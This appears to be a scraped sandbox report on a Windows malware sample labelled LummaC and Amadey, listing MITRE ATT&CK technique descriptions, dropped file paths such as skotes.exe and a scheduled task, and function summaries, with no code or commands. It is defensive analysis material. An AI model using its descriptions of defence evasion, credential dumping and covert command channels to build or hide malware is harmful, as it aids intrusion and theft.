Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.log

C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
file.exe

Function 006901E7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12
threadCOMMON

Function 00693A03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 8
threadCOMMON

Function 0064D17E Relevance: 1.6, APIs: 1, Instructions: 143
libraryCOMMON

Function 0064D03A Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Function 052B0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 052B0D42 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Function 052B1509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 052B1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 052B1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 052B1301 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Function 00698672 Relevance: 1.5, APIs: 1, Instructions: 34
threadCOMMON

Function 00689103 Relevance: 1.5, APIs: 1, Instructions: 30
threadCOMMON

Function 0068C0AF Relevance: 1.5, APIs: 1, Instructions: 19
threadCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre